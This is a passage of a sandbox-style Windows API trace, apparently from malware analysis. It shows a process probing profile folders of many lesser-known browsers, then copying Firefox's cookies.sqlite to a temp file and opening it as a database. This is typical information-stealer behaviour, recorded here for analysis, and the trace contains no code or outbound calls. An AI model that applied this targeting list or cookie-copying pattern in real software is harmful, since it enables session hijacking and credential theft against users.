ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.924] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.924] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\7Star\\7Star\\User Data\\", lpDst=0x6d5604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\7Star\\7Star\\User Data\\") returned 0x43 [0074.924] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\7Star\\7Star\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.924] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.924] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.924] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Elements Browser\\User Data\\", lpDst=0x6d5604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Elements Browser\\User Data\\") returned 0x48 [0074.924] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Elements Browser\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.924] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.924] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.924] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\TorBro\\Profile\\", lpDst=0x6d5604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\TorBro\\Profile\\") returned 0x3c [0074.924] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\TorBro\\Profile\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.924] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.924] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.924] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Suhba\\User Data\\", lpDst=0x6d5604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Suhba\\User Data\\") returned 0x3d [0074.924] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Suhba\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.925] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.925] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.925] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Safer Technologies\\Secure Browser\\User Data\\", lpDst=0x6d7604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\") returned 0x59 [0074.925] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Safer Technologies\\Secure Browser\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.925] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.925] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.925] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Rafotech\\Mustang\\User Data\\", lpDst=0x6d7604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\") returned 0x48 [0074.925] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Rafotech\\Mustang\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.925] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.925] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.925] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Superbird\\User Data\\", lpDst=0x6d7604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Superbird\\User Data\\") returned 0x41 [0074.925] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Superbird\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.925] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.925] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.925] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chedot\\User Data\\", lpDst=0x6d7604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chedot\\User Data\\") returned 0x3e [0074.926] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chedot\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.926] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.926] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.926] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Torch\\User Data\\", lpDst=0x6d7604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Torch\\User Data\\") returned 0x3d [0074.926] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Torch\\User Data\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0074.926] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0074.926] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0074.926] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Mozilla\\Firefox\\Profiles\\", lpDst=0x6d7604, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 0x48 [0074.926] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\*.*", lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66e488 [0074.926] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.926] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e138 | out: lpFindFileData=0x18e138*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x85442390, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x85442390, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 1 [0074.928] SysReAllocStringLen (in: pbstr=0x18e094*=0x0, psz="133349", len=0x6 | out: pbstr=0x18e094*="133349") returned 1 [0074.928] SysReAllocStringLen (in: pbstr=0x18df24*=0x0, psz="3", len=0x1 | out: pbstr=0x18df24*="3") returned 1 [0074.928] SysReAllocStringLen (in: pbstr=0x18df20*=0x0, psz="6527", len=0x4 | out: pbstr=0x18df20*="6527") returned 1 [0074.928] SysReAllocStringLen (in: pbstr=0x18df1c*=0x0, psz="2837", len=0x4 | out: pbstr=0x18df1c*="2837") returned 1 [0074.928] SysReAllocStringLen (in: pbstr=0x18df18*=0x0, psz="9727", len=0x4 | out: pbstr=0x18df18*="9727") returned 1 [0074.929] SysReAllocStringLen (in: pbstr=0x18e09c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\silmbjec.default\\cookies.sqlite", len=0x67 | out: pbstr=0x18e09c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\silmbjec.default\\cookies.sqlite") returned 1 [0074.929] SysReAllocStringLen (in: pbstr=0x18df2c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\silmbjec.default\\cookies.sqlite", len=0x67 | out: pbstr=0x18df2c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\silmbjec.default\\cookies.sqlite") returned 1 [0074.929] SysReAllocStringLen (in: pbstr=0x18e09c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\silmbjec.default\\cookies.sqlite", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\silmbjec.default\\cookies.sqlite", len=0x67 | out: pbstr=0x18e09c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\silmbjec.default\\cookies.sqlite") returned 1 [0074.929] SysReAllocStringLen (in: pbstr=0x18df28*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite", len=0x66 | out: pbstr=0x18df28*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite") returned 1 [0074.929] SysReAllocStringLen (in: pbstr=0x18e09c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\silmbjec.default\\cookies.sqlite", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite", len=0x66 | out: pbstr=0x18e09c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite") returned 1 [0074.929] SysReAllocStringLen (in: pbstr=0x18df24*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite", len=0x66 | out: pbstr=0x18df24*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite") returned 1 [0074.929] SysReAllocStringLen (in: pbstr=0x18e09c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite", len=0x66 | out: pbstr=0x18e09c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite") returned 1 [0074.929] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x6d7604, nSize=0x8000 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0074.929] SysReAllocStringLen (in: pbstr=0x18e098*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp", len=0x3c | out: pbstr=0x18e098*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp") returned 1 [0074.929] SysReAllocStringLen (in: pbstr=0x18df2c*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp", len=0x3c | out: pbstr=0x18df2c*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp") returned 1 [0074.929] SysReAllocStringLen (in: pbstr=0x18e098*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp", len=0x3c | out: pbstr=0x18e098*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp") returned 1 [0074.929] SysReAllocStringLen (in: pbstr=0x18df28*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp", len=0x3c | out: pbstr=0x18df28*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp") returned 1 [0074.929] SysReAllocStringLen (in: pbstr=0x18e098*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp", len=0x3c | out: pbstr=0x18e098*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp") returned 1 [0074.929] SysReAllocStringLen (in: pbstr=0x18df24*=0x0, psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp", len=0x3c | out: pbstr=0x18df24*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp") returned 1 [0074.929] SysReAllocStringLen (in: pbstr=0x18e098*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp", psz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp", len=0x3c | out: pbstr=0x18e098*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp") returned 1 [0074.929] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cookies.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cookies.sqlite"), lpNewFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1333493652728379727.tmp"), bFailIfExists=1) returned 1 [0074.954] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp", cchWideChar=60, lpMultiByteStr=0x18cf28, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp¼\x01`", lpUsedDefaultChar=0x0) returned 60 [0074.954] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x453079c, cbMultiByte=60, lpWideCharStr=0x18cf08, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp⹣疘\x04â\x01") returned 60 [0074.954] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0074.954] GetFullPathNameW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp", nBufferLength=0x40, lpBuffer=0x471c100, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp", lpFilePart=0x0) returned 0x3c [0074.954] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1333493652728379727.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18dd40 | out: lpFileInformation=0x18dd40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7564f10, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb7564f10, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x83256a10, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0074.954] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1333493652728379727.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0074.955] ReadFile (in: hFile=0x328, lpBuffer=0x18de70, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x18de34, lpOverlapped=0x18ddf8 | out: lpBuffer=0x18de70*, lpNumberOfBytesRead=0x18de34*=0x64, lpOverlapped=0x18ddf8) returned 1 [0074.955] strncmp (_Str1="simple", _Str2="porter", _MaxCount=0x7) returned 1 [0074.955] LockFileEx (in: hFile=0x328, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d1f8 | out: lpOverlapped=0x18d1f8) returned 1 [0074.955] LockFileEx (in: hFile=0x328, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d1ec | out: lpOverlapped=0x18d1ec) returned 1 [0074.955] UnlockFileEx (in: hFile=0x328, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d1fc | out: lpOverlapped=0x18d1fc) returned 1 [0074.955] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x471c626, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 69 [0074.955] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp-journal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1333493652728379727.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x18d1f8 | out: lpFileInformation=0x18d1f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0074.955] GetLastError () returned 0x2 [0074.955] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1333493652728379727.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1333493652728379727.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18d210 | out: lpFileInformation=0x18d210*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0074.955] GetLastError () returned 0x2 [0074.957] ReadFile (in: hFile=0x328, lpBuffer=0x47ecbe0, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x18d218, lpOverlapped=0x18d1dc | out: lpBuffer=0x47ecbe0*, 